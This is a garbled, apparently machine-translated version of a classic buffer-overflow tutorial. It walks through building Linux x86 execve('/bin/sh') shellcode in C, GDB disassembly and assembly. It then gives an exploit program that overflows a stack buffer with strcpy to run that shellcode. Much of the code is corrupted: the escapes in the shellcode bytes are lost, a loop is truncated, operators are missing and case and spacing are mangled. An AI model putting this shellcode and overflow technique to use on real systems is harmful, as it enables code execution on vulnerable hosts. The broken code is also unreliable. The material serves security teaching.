Shell Code
Here is a C program shellcode.c that creates a shell: (herein, in Intelx86, Linux as an example)
Void main () {
Char * name [2];
Name [0] = "/ bin / sh";
Name [1] = NULL;
Execve (Name [0], Name, NULL);
}
Let's compile it to execute code, then use GDB to analyze it. (Pay attention to compile -static options, otherwise the execve code will not put into the execution code, but as a dynamic link to run when it is running .)
-------------------------------------------------- ----------------------------
[aleph1] $ gcc -o shellcode -ggdb -static shellcode.c
[ALEPH1] $ GDB shellcode
GDB Is Free Software and You Are Welcome to Distribute Copies of IT
Under Certain Conditions; Type "Show Copying" to see the conditions.
There Is Absolutely No Warranty for GDB; Type "Show Warranty" for Details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc ...
(GDB) Disassemble Main
Dump of assembler code for function main:
0x8000130
: pushl% EBP
0x8000131
: MOVL% ESP,% EBP
0x8000133
: Subl $ 0x8,% ESP
0x8000136
: MOVL $ 0x80027B8, 0XFFFFFFF8 (% EBP)
0x800013D
: MOVL $ 0x0, 0xfffffffc (% EBP)
0x8000144
: Pushl $ 0x0
0x8000146
: LEAL 0xFfffffff8 (% EBP),% EAX
0x8000149
: Pushl% EAX
0x800014A
: MOVL 0xfffffff8 (% EBP),% EAX
0x800014D
: Pushl% EAX
0x800014e
: Call 0x80002BC <__ execve>
0x8000153
: AddL $ 0xc,% ESP
0x8000156
: MOVL% EBP,% ESP
0x8000158
: POPL% EBP
0x8000159
: RET
End of assembler dump.
(GDB) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__ execve>: Pushl% EBP
0x80002BD <__ EXECVE 1>: MOVL% ESP,% EBP
0x80002BF <__ execve 3>: Pushl% EBX
0x80002c0 <__ execve 4>: MOVL $ 0XB,% EAX
0x80002c5 <__ execve 9>: MOVL 0x8 (% EBP),% EBX
0x80002C8 <__ execve 12>: MOVL 0xC (% EBP),% ECX
0x80002cb <__ execve 15>: MOVL 0x10 (% EBP),% EDX
0x80002CE <__ execve 18>: int $ 0x800x80002d0 <__ execve 20>: MOVL% EAX,% EDX
0x80002d2 <__ execve 22>: Testl% EDX,% EDX
0x80002d4 <__ execve 24>: JNL 0x80002e6 <__ execve 42>
0x80002d6 <__ execve 26>: NEGL% EDX
0x80002d8 <__ execve 28>: Pushl% EDX
0x80002d9 <__ execve 29>: Call 0x8001a34 <__ normal_errno_location>
0x80002de <__ execve 34>: POPL% EDX
0x80002df <__ execve 35>: MOVL% EDX, (% EAX)
0x80002e1 <__ execve 37>: MOVL $ 0xfffffffff,% EAX
0x80002e6 <__ execve 42>: POPL% EBX
0x80002e7 <__ execve 43>: MOVL% EBP,% ESP
0x80002e9 <__ execve 45>: POPL% EBP
0x80002ea <__ execve 46>: RET
0x80002eb <__ execve 47>: NOP
End of assembler dump.
-------------------------------------------------- ----------------------------
Below let's first analyze the role of each statement in the MAIN code:
0x8000130
: pushl% EBP
0x8000131
: MOVL% ESP,% EBP
0x8000133
: Subl $ 0x8,% ESP
This is the same as the previous example, and the inlet processing of a function, saves the previous stack frame pointer, updates the stack frame pointer, and finally leave space for local variables. Here, local variables are:
Char * name [2];
That is, two character pointers. Each character pointer holds 4 bytes, so there is a total of 8 bytes of location.
0x8000136
: MOVL $ 0x80027B8, 0XFFFFFFF8 (% EBP)
Here, the address of the string "/ bin / sh" is placed in the memory cell of Name [0], that is, equivalent to:
Name [0] = "/ bin / sh";
0x800013D
: MOVL $ 0x0, 0xfffffffc (% EBP)
Put NULL in the memory cell of Name [1], that is, equivalent to:
Name [1] = NULL;
The call to execve () begins with below:
0x8000144
: Pushl $ 0x0
Start pressing the parameters into the stack in reverse, the first is NULL.
0x8000146
: LEAL 0xFfffffff8 (% EBP),% EAX
0x8000149
: Pushl% EAX
Press the start address of Name [] into the stack
0x800014A
: MOVL 0xfffffff8 (% EBP),% EAX
0x800014D
: Pushl% EAX
Press the address of the string "/ bin / sh" into the stack
0x800014e
: Call 0x80002BC <__ execve>
Calling execve (). Call instruction first presses the EIP into the stack
-------------------------------------------------- --------------------------------- Now let's take another example of execve () code. First of all, pay attention to Different operating systems, different CPUs, they produce system calls. Some use soft interrupts, some use remote calls. From the perspective of parameter delivery, some use registers, some use stacks.
Our example is running on the Intel X86-based Linux. So we should first know Linux, system call is generated in a soft interrupt (INT 80H), and the parameters are passed to the system through registers.
0x80002bc <__ execve>: Pushl% EBP
0x80002BD <__ EXECVE 1>: MOVL% ESP,% EBP
0x80002BF <__ execve 3>: Pushl% EBX
The same inlet treatment
0x80002c0 <__ execve 4>: MOVL $ 0XB,% EAX
Assign 0xB (11) to Eax, which is an indecve () index number in the system.
0x80002c5 <__ execve 9>: MOVL 0x8 (% EBP),% EBX
Associate the address of the string "/ bin / sh" to EBX
0x80002C8 <__ execve 12>: MOVL 0xC (% EBP),% ECX
Assign the address of Name [] to ECX
0x80002cb <__ execve 15>: MOVL 0x10 (% EBP),% EDX
Assign NULL's address to EDX
0x80002CE <__ execve 18>: int $ 0x80
Generate system calls to enter core state operation.
-------------------------------------------------- ----------------------------------
I saw the code above, now we can stream it into the following assembly language program:
LEAL STRING, STRING_ADDR
Movl $ 0x0, NULL_ADDR
MOVL $ 0XB,% EAX
MOVL STRING_ADDR,% EBX
LEAL STRING_ADDR,% ECX
LEAL NULL_STRING,% EDX
INT $ 0x80
(I have not much understanding of Linux's assembly language format, so these sentences are used in the format of DOS assembly language)
String DB "/ bin / sh", 0
String_addr DD 0
NULL_ADDR DD 0
-------------------------------------------------- -----------------------------------
However, there is still a problem in this code, that is, we don't know where the program is executed when writing shellcode, so like:
MOVL STRING_ADDR,% EBX
This requires an instruction to encode absolute address into the machine language.
One way to solve this problem is to use an additional JMP and Call instructions. Because these two instruction codes are used with respect to the IP offset address rather than absolute addresses, we can join a JMP instruction at the beginning of Shellcode. Before String, add a CALL instruction. As long as we calculate the byte length of the program encoded, you can make the JMP instruction to the CALL instruction, and the CALL instruction points to the next command of JMP, because when the CALL is executed The CPU will return the address (here is the String address) into the stack, so we can get String absolute addresses when running. With this address plus offset indirect addressing method, we can also be conveniently Access string_addr and NULL_ADDR.
-------------------------------------------------- ---------------------------- After the above modification, our shellcode turned into the following:
JMP 0x20
POPL ESI
MOVB $ 0x0,0x7 (% ESI)
MOVL% ESI, 0x8 (% ESI)
MOVL $ 0x0,0xc (% ESI)
MOVL $ 0XB,% EAX
MOVL% ESI,% EBX
LEAL 0x8 (% ESI),% ECX
LEAL 0xC (% ESI),% EDX
INT $ 0x80
Call -0x25
String DB "/ bin / sh", 0
String_addr DD 0
NULL_ADDR DD 0 # 2 Bytes, jump to CALL
# 1 byte, pop up the String address
# 4 Bytes, turn string to string ending with '' ''
# 7 bytes
# 5 bytes
# 2 bytes
# 3 bytes
# 3 bytes
# 2 bytes
# 5 bytes, jump to POPL% ESI
-------------------------------------------------- ----------------------------------
We know that the string in the C language is in '' 'end, and Strcpy is the end run. Therefore, in order to ensure that our shellcode can be completely copied into the buffer, you must not contain' '. Let's For its last improvement, remove '':
Original directive: replacement is:
-------------------------------------------------- --------
MOVB $ 0x0,0x7 (% esi) xorl% Eax,% EAX
MOVL $ 0x0,0xc (% ESI) MOVB% EAX, 0x7 (% ESI)
MOVL% EAX, 0xc (% ESI)
-------------------------------------------------- --------
MOVL $ 0XB,% EAX MOVB $ 0XB,% Al
-------------------------------------------------- --------
OK! Now we can test this SHELLCODE. First we package it into the form of C language.
-------------------------------------------------- ----------------------------
Void main () {
__ASM __ ("
JMP 0x18 # 2 bytes
POPL% ESI # 1 byte
MOVL% ESI, 0x8 (% ESI) # 3 bytes
XORL% EAX,% EAX # 2 bytes
MOVB% EAX, 0x7 (% ESI) # 3 bytes
MOVL% EAX, 0xc (% esi) # 3 bytes
MovB $ 0XB,% Al # 2 bytes
MOVL% ESI,% EBX # 2 bytes
Leal 0x8 (% ESI),% ECX # 3 bytes
LEAL 0XC (% ESI),% EDX # 3 bytes
INT $ 0x80 # 2 bytes
Call -0x2d # 5 bytes
.string "/ bin / sh" # 8 bytes
");
}
-------------------------------------------------- -------------------------- After compiling, the machine code for this assembly language with GDB is:
Xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b
X89XF3X8DX4EX08X8DX56X0CXCDX80XE8XECxFFFFXFF / BIN / SH
Now we can write our test procedures:
-------------------------------------------------- ----------------------------
Exploit1.c:
Char shellcode [] =
"XEBX18X5EX89X76X08X31XC0X88X46X07X89X46X0CXB0X0B"
"x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff / bin / sh";
Char large_string [128];
void main ()
{
Char buffer [96];
INT I;
Long * long_ptr = (long *) Large_String;
For (i = 0; i <32; i ) * (long_ptr i) = (int) buffer;
For (i = 0; i
STRCPY (Buffer, Large_String);
}
-------------------------------------------------- -----------------------------------
In the above program, we first populate LARGE_STRING [] with buffer, and place shellcode in the start position of large_string [], to ensure that the address is overwriting to buffer when Bufferoverflow (the entrance address of the shellcode) is guaranteed when BufferFlow ). Then use strcpy to copy the contents of Large_String into Buffer because Buffer only has 96 bytes of space, so buffer overflow will occur. The return address is overwritten to the entrance address of the shellcode. When the program executes the end of the main function When it automatically jumps to our shellcode, create a new shell.
Now we compile this program:
-------------------------------------------------- ----------------------------
[ALEPH1] $ gcc -o exploit1 exploit1.c
[aleph1] $ ./exploit1
$ EXIT
exit
[aleph1] $
-------------------------------------------------- ----------------------------
OK! You can see that when you perform Test, our shellcode executed correctly and generated a new shell, which is the result we want to see.
However, this example is just a test, let's take a look at how to make our shellcode play in the actual environment.